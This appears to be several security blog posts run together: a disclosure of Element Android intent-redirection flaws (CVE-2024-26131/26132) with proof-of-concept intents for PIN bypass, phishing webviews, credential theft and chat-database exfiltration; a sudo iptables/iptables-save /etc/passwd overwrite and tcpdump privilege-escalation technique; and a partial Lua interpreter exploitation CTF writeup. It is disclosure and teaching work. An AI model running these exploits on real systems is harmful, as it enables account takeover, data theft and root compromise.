As we have previously mentioned, there is a boolean property in the activities declared in the AndroidManifest.xml, namely the exported property, that informs the system whether a certain activity can be launched by external apps or not. This provides applications with a way to define “protected” activities that are only supposed to be invoked internally.
For instance, let’s assume we are working on a digital banking application, and we are developing an activity, named TransferActivity. The activity flow is simple: it reads from the extras attached to the intent the account number of the receiver and the amount of money to send, then it initiates the transfer. Now, it only makes sense to define this activity with exported="false", since it would be a huge security risk to allow other applications installed on the device to launch a TransferActivity intent and send money to arbitrary account numbers. Since the activity is not exported, it can only be invoked internally, so the developer can establish a precise flow to access the activity that allows only a willing user to initiate the wire transfer. With this introduction, let’s again analyze the Intent Proxy pattern that was discovered in the Element Android application.
When the MainActivity parses the EXTRA_NEXT_INTENT bundled in the launch intent, it will invoke the activity associated with the inner intent. However, since the intent is now originating from within the app, it is not considered an external intent anymore. Therefore, activities which are set as exported="false" can be launched as well. This is why using an uncontrolled Intent Redirection pattern is a security vulnerability: it allows external applications to launch arbitrary activities declared in the target application, whether exported or not. As an impact, any “trust boundary” that was established by non exporting the app is broken.
The diagram below hopefully clarifies this:
Being an end-to-end encrypted messaging client, Element needs to establish multiple security boundaries to prevent malicious applications from breaking its security properties (confidentiality, integrity, and availability). In the next section, we will showcase some of the attack scenarios we have reproduced, to demonstrate the different uses and impacts that an intent redirection vulnerability can offer to malicious actors.
Note: in order to exploit the intent redirection vulnerability, we need to install on the target device a malicious application that we control from which we can call the MainActivity bundled with the wrapped EXTRA_NEXT_INTENT. Doing so requires creating a new project on Android Studio (detailing how to setup Android Studio for mobile application development is beyond the purpose of this blogpost).
PIN Code? No, Thanks!
In the threat model of secure messaging application, it is critical to consider the risk of device theft: it is important to make sure that, in case the device is stolen unlocked or security gestures / PIN are not properly configured, an attacker would not be able to compromise the confidentiality and integrity of the secure chats. For this reason, Element prompts user into creating a PIN code, and afterwards “guards” entrance to the application with a screen that requires the PIN code to be inserted. This is so critical in the threat model that, upon entering a wrong PIN a certain number of times, the app clears the current session from the device, logging out the user from the account.
Naturally, the application also provides a way for users to change their PIN code. This happens in im/vector/app/features/pin/PinActivity.kt:
1 2 3 4 5 6 7 8 9 10 11
class PinActivity : VectorBaseActivity<ActivitySimpleBinding>(), UnlockedActivity { //... override fun initUiAndData() { if (isFirstCreation()) { val fragmentArgs: PinArgs = intent?.extras?.getParcelableCompat(Mavericks.KEY_ARG) ?: return addFragment(views.simpleFragmentContainer, PinFragment::class.java, fragmentArgs) } } //... }
So PinActivity reads a PinArgs extra from the launching intent and it uses it to initialize the PinFragment view. In im/vector/app/features/pin/PinFragment.kt we can find where that PinArgs is used:
1 2 3 4 5 6 7 8
override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) when (fragmentArgs.pinMode) { PinMode.CREATE -> showCreateFragment() PinMode.AUTH -> showAuthFragment() PinMode.MODIFY -> showCreateFragment() // No need to create another function for now because texts are generic } }
Therefore, depending on the value of PinArgs, the app will display either the view to authenticate i.e. verify that the user knows the correct PIN, or the view to create/modify the PIN (those are handled by the same fragment).
By leveraging the intent redirection vulnerability with this information, a malicious app can fully bypass the security of the PIN code. In fact, by bundling an EXTRA_NEXT_INTENT that points to the PinActivity activity, and setting as the extra PinMode.MODIFY, the application will invoke the view that allows to modify the PIN. The code used in the malicious app to exploit this follows:
1 2 3 4 5 6 7 8
val extra = Intent() extra.setClassName("im.vector.app.debug", "im.vector.app.features.pin.PinActivity") extra.putExtra("mavericks:arg", PinArgs(PinMode.MODIFY)) val intent = Intent() intent.setClassName("im.vector.app.debug", "im.vector.application.features.Alias") intent.putExtra("EXTRA_NEXT_INTENT", extra) val uri = intent.data; startActivity(intent)
Note: In order to successfully launch this, it is necessary to declare a package in the malicious app that matches what the receiving intent in Element expects for PinArgs. To do this, it is enough to create an im.vector.app.features package and create a PinArgs enum in it with the same values defined in the Element codebase.
Running and installing this app immediately triggers the following view in the target device:
View to change the PIN code
Hello Me, Meet The Real Me
Among its multiple features, Element supports embedded web browsing via WebView components. This is implemented in im/vector/app/features/webview/VectorWebViewActivity.kt:
class VectorWebViewActivity : VectorBaseActivity<ActivityVectorWebViewBinding>() { //... val url = intent.extras?.getString(EXTRA_URL) ?: return val title = intent.extras?.getString(EXTRA_TITLE, USE_TITLE_FROM_WEB_PAGE) if (title != USE_TITLE_FROM_WEB_PAGE) { setTitle(title) } val webViewMode = intent.extras?.getSerializableCompat<WebViewMode>(EXTRA_MODE)!! val eventListener = webViewMode.eventListener(this, session) views.simpleWebview.webViewClient = VectorWebViewClient(eventListener) views.simpleWebview.webChromeClient = object : WebChromeClient() { override fun onReceivedTitle(view: WebView, title: String) { if (title == USE_TITLE_FROM_WEB_PAGE) { setTitle(title) } } } views.simpleWebview.loadUrl(url) //... }
Therefore, a malicious application can use this sink to have the app visiting a custom webpage without user consent. Typically externally controlled webviews are considered vulnerable for different reasons, which range from XSS to, in some cases, Remote Code Execution (RCE). In this specific scenario, what we believe would have the highest impact is that it enables some form of UI Spoofing. In fact, by forcing the application into visit a carefully crafted webpage that mirrors the UI of Element, the user might be tricked into interacting with it to:
Show them a fake login interface and obtain their credentials in plaintext.
Show them fake chats and receive the victim messages in plaintext.
You name it.
Developing such a well-crafted mirror is beyond the scope of this proof of concept. Nonetheless, we include below the code that can be used to trigger the forced webview browsing:
1 2 3 4 5 6 7 8 9
val extra = Intent() extra.setClassName("im.vector.app.debug","im.vector.app.features.webview.VectorWebViewActivity") extra.putExtra("EXTRA_URL", "https://www.shielder.com") extra.putExtra("EXTRA_TITLE", "PHISHED") extra.putExtra("EXTRA_MODE", WebViewMode.DEFAULT) val intent = Intent() intent.setClassName("im.vector.app.debug", "im.vector.application.features.Alias") intent.putExtra("EXTRA_NEXT_INTENT", extra) startActivity(intent)
Running this leads to:
Our WebView payload, force-browsed into the application.
All Your Credentials Are Belong To Us
While assessing the attack surface of the application to maximize the impact of the intent redirection, there is an activity that quickly caught our attention. It is defined in im/vector/app/features/login/LoginActivity.kt:
1 2 3 4 5 6 7 8 9 10 11 12 13
open class LoginActivity : VectorBaseActivity<ActivityLoginBinding>(), UnlockedActivity { //... // Get config extra val loginConfig = intent.getParcelableExtraCompat<LoginConfig?>(EXTRA_CONFIG) if (isFirstCreation()) { loginViewModel.handle(LoginAction.InitWith(loginConfig)) } //... }
In im/vector/app/features/login/LoginConfig.kt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
@Parcelize data class LoginConfig( val homeServerUrl: String?, private val identityServerUrl: String? ) : Parcelable { companion object { const val CONFIG_HS_PARAMETER = "hs_url" private const val CONFIG_IS_PARAMETER = "is_url" fun parse(from: Uri): LoginConfig { return LoginConfig( homeServerUrl = from.getQueryParameter(CONFIG_HS_PARAMETER), identityServerUrl = from.getQueryParameter(CONFIG_IS_PARAMETER) ) } } }
The purpose of the LoginConfig object extra passed to LoginActivity is to provide a way for the application to initiate a login against a custom server e.g. in case of self-hosted Matrix instances. This, via the intent redirection, can be abused by a malicious application to force a user into leaking their account credentials towards a rogue authentication server.
In order to build this PoC, we have quickly scripted a barebone Matrix rogue API with just enough endpoints to have the application “accept it” as a valid server:
You might notice we have used a little phishing trick, here: by leveraging the user:password@host syntax of the URL spec, we are able to display the string Connect to https://matrix.com, placing our actual rogue server url into a fake server-fingerprint value. This would avoid raising suspicions in case the user closely inspects the server hostname.
By routing these credentials to the actual Matrix server, the rogue server would also be able to initiate an OTP authentication, which would successfully bypass MFA and would leak to a full account takeover.
This attack scenario requires user interaction: in fact, the victim needs to willingly submit their credentials. However, it is not uncommon for applications to logout our accounts for various reasons; therefore, we assume that a user that is suddenly redirected to the login activity of the application would “trust” the application and just proceed to login again.
CVE-2024-26131
This issue was reported to the Element security team, which promptly acknowledged and fixed it. You can inspect the GitHub advisory and Element’s blogpost.
The fix to this introduces a check on the EXTRA_NEXT_INTENT which can now only point to an allow-list of activities.
Nothing Is Beyond Our Reach
Searching for more exported components we stumbled upon the im.vector.app.features.share.IncomingShareActivity that is used when sharing files and attachments to Matrix chats.
The IncomingShareActivity checks if the user is logged in and then adds the IncomingShareFragment component to the view. This Fragment parses incoming Intents, if any, and performs the following actions using the Intent’s extras:
Checks if the Intent is of type Intent.ACTION_SEND, the Android Intent type used to deliver data to other components, even external.
Reads the Intent.EXTRA_STREAM field as a URI. This URI specify the Content Provider path for the attachment that is being shared.
Reads the Intent.EXTRA_SHORTCUT_ID field. This optional field can contain a Matrix Room ID as recipient for the attachment. If empty, the user will be prompted with a list of chat to choose from, otherwise the file will be sent without any user interaction.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
val intent = vectorBaseActivity.intent val isShareManaged = when (intent?.action) { Intent.ACTION_SEND -> { val isShareManaged = handleIncomingShareIntent(intent) // Direct share if (intent.hasExtra(Intent.EXTRA_SHORTCUT_ID)) { val roomId = intent.getStringExtra(Intent.EXTRA_SHORTCUT_ID)!! viewModel.handle(IncomingShareAction.ShareToRoom(roomId)) } isShareManaged } Intent.ACTION_SEND_MULTIPLE -> handleIncomingShareIntent(intent) else -> false }
1 2 3 4 5
private fun handleShareToRoom(action: IncomingShareAction.ShareToRoom) = withState { state -> val sharedData = state.sharedData ?: return@withState val roomSummary = session.getRoomSummary(action.roomId) ?: return@withState _viewEvents.post(IncomingShareViewEvents.ShareToRoom(roomSummary, sharedData, showAlert = false)) }
During the sharing process in the Intent handler, the execution reaches the getIncomingFiles function of the Picker class, and in turn the getSelectedFiles of the FilePicker class. These two functions are responsible for parsing the Intent.EXTRA_STREAM URI, resolving the attachment’s Content Provider, and granting read permission on the shared attachment.
Summarizing what we learned so far, an external application can issue an Intent to the IncomingShareActivity specifying a Content Provider resource URI and a Matrix Room ID. Then resource will be fetched and sent to the room.
At a first glance everything seems all-right but this functionality opens up to a vulnerable scenario. 👀
Exporting The Non-Exportable
The Element application defines a private Content Provider named .provider.MultiPickerFileProvider. This Content Provider is not exported, thus normally its content is readable only by Element itself.
Moreover, the MultiPickerFileProvider is a File Provider that allow access to files in a specific folders defined in the <paths> tag. In this case the defined path is of type files-path, that represents the files/ subdirectory of Element’s internal storage sandbox.
To put it simply, by specifying the following content URI content://im.vector.app.multipicker.fileprovider/external_files/ the File Provider would map it to the following folder on the filesystem /data/data/im.vector.app/files/.
Thanks to the IncomingShareActivity implementation we can leverage it to read files in Element’s sandbox and leak them over Matrix itself!
We developed the following intent payload in a new malicious application:
By launching this, the application will send the encrypted Element chat database to the specified $ROOM_ID, without any user interaction.
CVE-2024-26132
This issue was reported to the Element security team, which promptly acknowledged and fixed it. You can inspect the GitHub advisory and Element’s blogpost.
The fix to this restrict the folder exposed by the MultiPickerFileProvider to a subdirectory of the Element sandbox, specifically /data/data/im.vector.app/files/media/ where temporary media files created through Element are stored.
It is still possible for external applications on the same device to force Element into sending files from that directory to arbitrary rooms without the user consent.
Conclusions
Android offers great flexibility on how applications can interact with each other. As it is often the case in the digital world, with great power comes great responsibilities vulnerabilities 🐛🪲🐞.
The scope of this blogpost is to shed some light in how to perform security assessments of intent-based workflows in Android applications. The fact that even a widely used application with a strong security posture like Element was found vulnerable, shows how protecting against these issues is not trivial!
A honorable mention goes to the security and development teams of Element, for the speed they demonstrated in triaging, verifying, and fixing these issues. Speaking of which, if you’re using Element Android for your secure communications, make sure to update your application to a version >= 1.6.12.
A low-privileged user on a Linux machine can obtain the root privileges if:
They can execute iptables and iptables-save with sudo as they can inject a fake /etc/passwd entry in the comment of an iptables rule and then abusing iptables-save to overwrite the legitimate /etc/passwd file.
They can execute iptables with sudo and the underlying system misses one of the kernel modules loaded by iptables. In this case they can use the --modprobe argument to run an arbitrary command.
Intro
If you’ve ever played with boot2root CTFs (like Hack The Box), worked as a penetration tester, or just broke the law by infiltrating random machines (NO, DON’T DO THAT), chances are good that you found yourself with a low-privileged shell – www-data, I’m looking at you – on a Linux machine.
Now, while shells are great and we all need to be grateful when they shine upon us, a low-privileged user typically has a limited power over the system. The path ahead becomes clear: we need to escalate our privileges to root.
When walking the path of the Privilege Escalation, a hacker has a number of tricks at their disposal; one of them is using sudo.
superuser do…substitute user do…just call me sudo
As the reader might already know well, the sudo command can be used to run a command with the permissions of another user – which is commonly root.
Ok, but what’s the point? If you can sudo <command> already, privilege escalation is complete!
Well, yes, but actually, no. In fact, there are two scenarios (at least, two that come to mind right now) where we can’t simply leverage sudo to run arbitrary commands:
Running sudo requires the password of the user, and even though we have a shell, we don’t know the password. This is quite common, as the initial access to the box happens via an exploit rather than regular authentication.
We may know the password for sudo, but the commands that the user can run with sudo are restricted.
In the first case, there’s only one way to leverage sudo for privilege escalation, and that is NOPASSWD commands. These are commands that can be launched with sudo by the user without a password prompt. Quoting from man sudoers:
NOPASSWD and PASSWD
By default, sudo requires that a user authenticate him or herself before running a command. This behavior can be modified via the NOPASSWD tag. Like a Runas_Spec, the NOPASSWD tag sets a default for the commands that follow it in the Cmnd_Spec_List. Conversely, the PASSWD tag can be used to reverse things. For example:
ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm would allow the user ray to run /bin/kill, /bin/ls, and /usr/bin/lprm as root on the machine rushmore without authenticating himself.
The second case is a bit different: in that scenario, even though we know the password, there will be only a limited subset of commands (and possibly arguments) that can be launched with sudo. Again, the way this works you can learn by looking at man sudoers, asking ChatGPT or wrecking your system by experimenting.
In both cases, there is a quick way to check what are the “rules” enabled for your user, and that is running sudo -l on your shell, which will help answering the important question: CAN I HAZ SUDO?
$ sudo run-privesc
Now, back to the topic of privilege escalation. The bad news is that, when sudo is restricted, we cannot run arbitrary commands, thus the need for some more ingredients to obtain a complete privilege escalation. How? This is the good news: we can leverage side-effects of allowed commands. In fact, Linux utilities, more often than not, support a plethora of flags and options to customize their flow. By using and chaining these options in creative ways, even a simple text editor can be used as a trampoline to obtain arbitrary execution!
For a simple use case, let’s consider the well-known tcpdump command, used to listen, filter and display network packets traveling through the system. Administrators will oftentimes grant low-privileged users the capability to dump traffic on the machine for debugging purposes, so it’s perfectly common to find an entry like this when running sudo -l:
1
(ALL) NOPASSWD: /usr/bin/tcpdump
Little do they know about the power of UNIX utilities! In fact, tcpdump automagically supports log rotation, alongside a convenient -z flag to supply a postrotate-command that is executed after every rotation. Therefore, it is possible to leverage sudo coupled with tcpdump to execute arbitrary commands as root by running the following sequence of commands:
1 2 3 4 5
COMMAND='id' # just replace 'id' with your evil command TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
The good folks at GTFOBins maintain a curated list of these magic tricks (including the one just shown about tcpdump), so please bookmark it and make sure to look it up on your Linux privilege escalation quests!
Starting Line 🚦
Recently, during a penetration test, we were looking for a way to escalate our privileges on a Linux-based device. What we had was a shell for a (very) low-privileged user, and the capability to run a certain set of commands as sudo. Among these, two trusted companions for every network engineer: iptables and iptables-save.
Sure there must be an entry for one of these two guys in GTFOBins, or so we thought … which lead in going once more for the extra mile™.
Pepperidge Farm Remembers
Back in the 2017 we organized an in-person CTF in Turin partnering with the PoliTO University, JEToP, and KPMG.
The CTF was based on a set of boot2root boxes where the typical entry point was a web-based vulnerability, followed by a local privilege escalation. One of the privilege escalations scenarios we created was exactly related to iptables.
iptables has a --modprobe, which purpose we can see from its man page:
--modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).
Sounds like an interesting way for to run an arbitrary command, doesn’t it?
By inspecting the iptables source code we can see that if the --modprobe flag has been specifies, then the int xtables_load_ko(const char *modprobe, bool quiet) function is called with as first parameter the modprobe command specified by the user.
As a first step the xtables_load_ko function checks if the required modules have been already loaded, while if they have been not it calls the int xtables_insmod(const char *modname, const char *modprobe, bool quiet) function with as second parameter the modprobe command specified by the user.
Finally, the xtables_insmod function runs the command we specified in the --modprobe argument using the execv syscall:
int xtables_insmod(const char *modname, const char *modprobe, bool quiet) { char *buf = NULL; char *argv[4]; int status; /* If they don't explicitly set it, read out of kernel */ if (!modprobe) { buf = get_modprobe(); if (!buf) return -1; modprobe = buf; } /* * Need to flush the buffer, or the child may output it again * when switching the program thru execv. */ fflush(stdout); switch (vfork()) { case 0: argv[0] = (char *)modprobe; argv[1] = (char *)modname; if (quiet) { argv[2] = "-q"; argv[3] = NULL; } else { argv[2] = NULL; argv[3] = NULL; } execv(argv[0], argv); /* not usually reached */ exit(1); case -1: free(buf); return -1; default: /* parent */ wait(&status); } free(buf); if (WIFEXITED(status) && WEXITSTATUS(status) == 0) return 0; return -1; }
Wrapping all together, if we can run iptables as root then we can abuse it to run arbitrary system commands and with the following script being greeted with an interactive root shell:
While this technique is quite powerful, it has an important requirement: the kernel modules iptables is trying to access should not be loaded.
(Un)fortunately, in most of the modern Linux distributions they are, making the attack impracticable. That being said, it is still powerful when it comes to embedded devices as demonstrated by Giulio.
What about our target? Unlikely it had all the kernel modules loaded, so this technique couldn’t be applied. Time to find a new one then 👀
フュージョン
Time for the Metamoran Fusion Dance!
The lab
Before diving into the privilege escalation steps, let’s setup a little lab to experiment with.
To test this, you can do the following things on a fresh Ubuntu 24.04 LTS machine:
Install the iptables package via apt-get.
Add the following lines to the /etc/sudoers file:
1 2
user ALL=(ALL) NOPASSWD: /usr/bin/iptables user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save
Comment out, in the same file, the line:
1
%sudo ALL=(ALL:ALL) ALL
As expected, running sudo -l will yield the following response:
1 2 3 4 5 6 7
user@ubuntu:~$ sudo -l Matching Defaults entries for user on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User user may run the following commands on ubuntu: (ALL) NOPASSWD: /usr/bin/iptables (ALL) NOPASSWD: /usr/bin/iptables-save
So either running sudo iptables or sudo iptables-save executes the command without asking for authentication.
In the next section, we’ll see how an attacker in this system can escalate their privileges to root.
Evilege Priscalation
This section will demonstrate how core and side features of the iptables and iptables-save commands, plus some Linux quirks, can be chained together in order to obtain arbitrary code execution.
Spoiler alert, it boils down to these three steps:
Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.
In the following sections, we will give some more details on these steps.
Step 1: Commenting Rules via iptables
Let’s consider a simple iptables command to add a firewall rule:
1
sudo iptables -A INPUT -i lo -j ACCEPT
the effect of this rule is to append a rule to the input chain to accept every inbound packet where the input interface is the local one. We can immediately verify the effect of this rule by running sudo iptables -L. The output of this command, as expected, contains the ACCEPT rule that we just loaded.
By looking into interesting flags supported by iptables, we stumble on this one:
comment
Allows you to add comments (up to 256 characters) to any rule. –comment comment Example: iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”
Let’s test this by slightly modifying our previous rule:
1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"
Then again, listing the rules, we can see the effect of the comment:
iptables also provides a way to simply dump all the loaded rules, by running iptables -S:
1 2 3 4 5
-P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
How much can we control this output? A simple test is to insert a newline:
1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
NOTE
By using the $’ quoting, we can instruct bash to replace the \n character with a newline!
Now, let’s dump again the loaded rules to check whether the newline was preserved:
1 2 3 4 5 6 7 8
$ sudo iptables -S -P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT
This is definitely interesting – we’ve established that iptables preserves newlines in comments, which means that we can control multiple arbitrary lines in the output of an iptables rule dump.
…can you guess how this can be leveraged?
Step 2: Arbitrary File Overwrite via iptables-save
Before starting to shoot commands out, let’s RTFM:
iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.
If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:
1 2 3 4 5 6 7 8 9 10 11 12
$ sudo iptables-save # Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024 *filter :INPUT ACCEPT [936:2477095] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT COMMIT # Completed on Tue Aug 13 19:50:55 2024
it seems iptables-save, too, is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. The output shows us we’re onto a good path:
The screenshot gives us two important informations:
We can control arbitrary lines on the file written by iptables-save.
Since this is running with sudo, the file is owned by root.
Where can we point this armed weapon? Onto the next section!
Step 3: Crafting Root Users
Recap: by leveraging arbitrary comments containing \n via iptables, and running iptables-save, we can write arbitrary files as root, and we partially control its lines – partially, yes, because the iptables-save outputs some data that can’t be controlled, before and after our injected comment.
How can this be useful? Well, there’s at least one way to turn this into a good privilege escalation, and it is thanks to the (in)famous /etc/passwd file. In fact, this file contains entries for each user that can log into the system, which includes metadata such as the hash of the password, and the UID of the user. Can you see where this is going?
Yes, we’re going to write a perfectly valid passwd root entry into an iptables rule, and we’re going to overwrite the /etc/passwd file via iptables-save. Since the injected line will also contain the password hash of the user, after the overwrite happens, we should be able to simply run su root and input the injected password.
At this point, we only have one doubt: will the other lines (which are not valid entries) break the system beyond repair? Clearly, there’s only one way to find out.
Proof of Concept
The steps to reproduce the privilege escalation are simple:
Encrypt the new root password in the right format by running openssl passwd <password>
Take the entry for root in the /etc/passwd, and copy it somewhere, replacing the x value of the encrypted password with the value generated at step 2
Inject the forged root entry in a new iptables rule comment
Overwrite /etc/passwd by running sudo iptables-save -f /etc/passwd
Verify that you can now su root with the password chosen at step 1
Limitations & Possible Improvements
The main limitation of this technique lies in its reduced likelihood: in fact, in order for the privilege escalation to be executed, a user must be granted sudo on both the iptables and iptables-save commands; while this certainly happens in the wild, it would be great if we could make this scenario even more likely. This might be doable: iptables-save is actually part of the iptables suite, as the latter supports an argv[0]-based aliasing mechanism to select from the full suite the command to run. Therefore, if it were possible to force iptables to act as iptables-save, then the iptables-save command would not be necessary anymore.
Moreover, while for this scenario overwriting /etc/passwd was provably enough, your imagination is the limit: there might be other interesting gadgets to use in a Linux system! Mostly, the requirements for a “good” overwrite target are:
At some point, some weeks ago, I’ve stumbled upon this fascinating read. In it, the author thoroughly explains an RCE (Remote Code Execution) they found on the Lua interpreter used in the Factorio game. I heartily recommend anyone interested in game scripting, exploit development, or just cool low-level hacks, to check out the blogpost – as it contains a real wealth of insights.
The author topped this off by releasing a companion challenge to the writeup; it consists of a Lua interpreter, running in-browser, for readers to exploit on their own. Solving the challenge was a fun ride and a great addition to the content!
The challenge is different enough from the blogpost that it makes sense to document a writeup. Plus, I find enjoyment in writing, so there’s that.
I hope you’ll find this content useful in your journey 🙂
Instead of repeating concepts that are – to me – already well explained in that resource, I have decided to focus on the new obstacles that I faced while solving the challenge, and on new things I learned in the process. If at any point the content of the writeup becomes cryptic, I’d suggest consulting the blogpost to get some clarity on the techniques used.
Console: a console connected to the output of the Lua interpreter.
Definitions: Useful definitions of the Lua interpreter, including paddings.
Goals: a list of objectives towards finishing the challenge. They automatically update when a goal is reached, but I’ve found this to be a bit buggy, TBH.
Working on the UI is not too bad, but I strongly suggest to copy-paste the code quite often – I don’t know how many times I’ve typed CMD+R instead of CMD+E (the shortcut to execute the code), reloading the page and losing my precious experiments.
Information Gathering
After playing for a bit with the interpreter, I quickly decided I wanted to save some time for my future self by understanding the environment a little bit better.
Note: this is, in my experience, a great idea. Always setup your lab!
Luckily, this is as easy as opening DevTools and using our uberly refined l33t intuition skills to find how the Lua interpreter was embedded in the browser:
and a bit of GitHub…
With these mad OSINT skillz, I learned that the challenge is built with wasmoon, a package that compiles the Lua v5.4 repository to WASM and then provides JS bindings to instantiate and control the interpreter.
This assumption is quickly corroborated by executing the following:
print(_VERSION)
This prints out Lua 5.4 (you should try executing that code to start getting comfortable with the interface).
This information is valuable for exploitation purposes, as it gives us the source code of the interpreter, which can be fetched by cloning the lua repository.
Let’s dive in!
Wait, it’s all TValues?
The first goal of the challenge is to gain the ability to leak addresses of TValues (Lua variables) that we create – AKA the addrof primitive.
In the linked blogpost, the author shows how to confuse types in a for-loop to gain that. In particular, they use the following code to leak addresses:
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
end):gsub("\x61\0\0\x80", "\x17\0\0\128"))
foo = "Memory Corruption"
print(asnum(foo))
The gsub call patches the bytecode of the function to replace the FORPREP instruction. Without the patch, the interpreter would raise an error due to a non-numeric step parameter.
Loading this code in the challenge interface leads to an error:
This is not too surprising, isn’t it? Since we are dealing with a different version of the interpreter, the bytes used in the gsub patch are probably wrong.
Fixing the patch
No worries, though, as the interpreter in the challenge is equipped with two useful features:
asm -> assembles Lua instructions to bytes
bytecode -> pretty-prints the bytecode of the provided Lua function
Let’s inspect the bytecode of the for loop function to understand what is there we have to patch:
# Code
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
end))
print(bytecode(asnum))
# Output
function <(string):1,3> (7 instructions at 0x1099f0)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
1 7fff8081 [2] LOADI 1 0
2 00000103 [2] LOADK 2 0 ; 1000000000000
3 00000180 [2] MOVE 3 0
4 000080ca [2] FORPREP 1 1 ; exit to 7 <--- INSTRUCTION to PATCH
5 00020248 [2] RETURN1 4
6 000100c9 [2] FORLOOP 1 2 ; to 5
7 000100c7 [3] RETURN0
constants (1) for 0x1099f0:
0 1000000000000
locals (5) for 0x1099f0:
0 x 1 8
1 (for state) 4 7
2 (for state) 4 7
3 (for state) 4 7
4 i 5 6
upvalues (0) for 0x1099f0:
The instruction to patch is the FORPREP. Represented in little endian, its binary value is 0xca800000.
We will patch it with a JMP 1. by doing so, the flow will jump to the FORLOOP instruction, which will increment the index with the value of the x step parameter. This way, by leveraging the type confusion, the returned index will contain the address of the TValue passed as input.
The next step is to assemble the target instruction:
And we can then verify that the patching works as expected:
# Code
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))
print(bytecode(asnum))
# Output
function <(string):1,3> (7 instructions at 0x10df28)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
1 7fff8081 [2] LOADI 1 0
2 00000103 [2] LOADK 2 0 ; 1000000000000
3 00000180 [2] MOVE 3 0
4 80000038 [2] JMP 1 ; to 6 <--- PATCHING WORKED!
5 00020248 [2] RETURN1 4
6 000100c9 [2] FORLOOP 1 2 ; to 5
7 000100c7 [3] RETURN0
constants (1) for 0x10df28:
0 1000000000000
locals (5) for 0x10df28:
0 x 1 8
1 (for state) 4 7
2 (for state) 4 7
3 (for state) 4 7
4 i 5 6
upvalues (0) for 0x10df28:
Leak Denied
By trying to leak a TValue result with the type confusion, something is immediately off:
# Code
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))
foo = function() print(1) end
print("foo:", foo)
print("leak:",asnum(foo))
# Output
foo: LClosure: 0x10a0c0
leak: <--- OUTPUT SHOULD NOT BE NULL!
As a reliable way to test the addrof primitive, I am using functions. In fact, by default, when passing a function variable to the print function in Lua, the address of the function is displayed. We can use this to test if our primitive works.
From this test, it seems that the for loop is not returning the address leak we expect. To find out the reason about this, I took a little break and inspected the function responsible for this in the source code. The relevant snippets follow:
[SNIP]
vmcase(OP_FORLOOP) {
StkId ra = RA(i);
if (ttisinteger(s2v(ra + 2))) { /* integer loop? */
lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1)));
if (count > 0) { /* still more iterations? */
lua_Integer step = ivalue(s2v(ra + 2));
lua_Integer idx = ivalue(s2v(ra)); /* internal index */
chgivalue(s2v(ra + 1), count - 1); /* update counter */
idx = intop(+, idx, step); /* add step to index */
chgivalue(s2v(ra), idx); /* update internal index */
setivalue(s2v(ra + 3), idx); /* and control variable */
pc -= GETARG_Bx(i); /* jump back */
}
}
else if (floatforloop(ra)) /* float loop */ <--- OUR FLOW GOES HERE
pc -= GETARG_Bx(i); /* jump back */
updatetrap(ci); /* allows a signal to break the loop */
vmbreak;
}
[SNIP]
/*
** Execute a step of a float numerical for loop, returning
** true iff the loop must continue. (The integer case is
** written online with opcode OP_FORLOOP, for performance.)
*/
static int floatforloop (StkId ra) {
lua_Number step = fltvalue(s2v(ra + 2));
lua_Number limit = fltvalue(s2v(ra + 1));
lua_Number idx = fltvalue(s2v(ra)); /* internal index */
idx = luai_numadd(L, idx, step); /* increment index */
if (luai_numlt(0, step) ? luai_numle(idx, limit) <--- CHECKS IF THE LOOP MUST CONTINUE
: luai_numle(limit, idx)) {
chgfltvalue(s2v(ra), idx); /* update internal index */ <--- THIS IS WHERE THE INDEX IS UPDATED
setfltvalue(s2v(ra + 3), idx); /* and control variable */
return 1; /* jump back */
}
else
return 0; /* finish the loop */
}
Essentially, this code is doing the following:
If the loop is an integer loop (e.g. the TValue step has an integer type), the function is computing the updates and checks inline (but we don’t really care as it’s not our case).
If instead (as in our case) the step TValue is not an integer, execution reaches the floatforloop function, which takes care of updating the index and checking the limit.
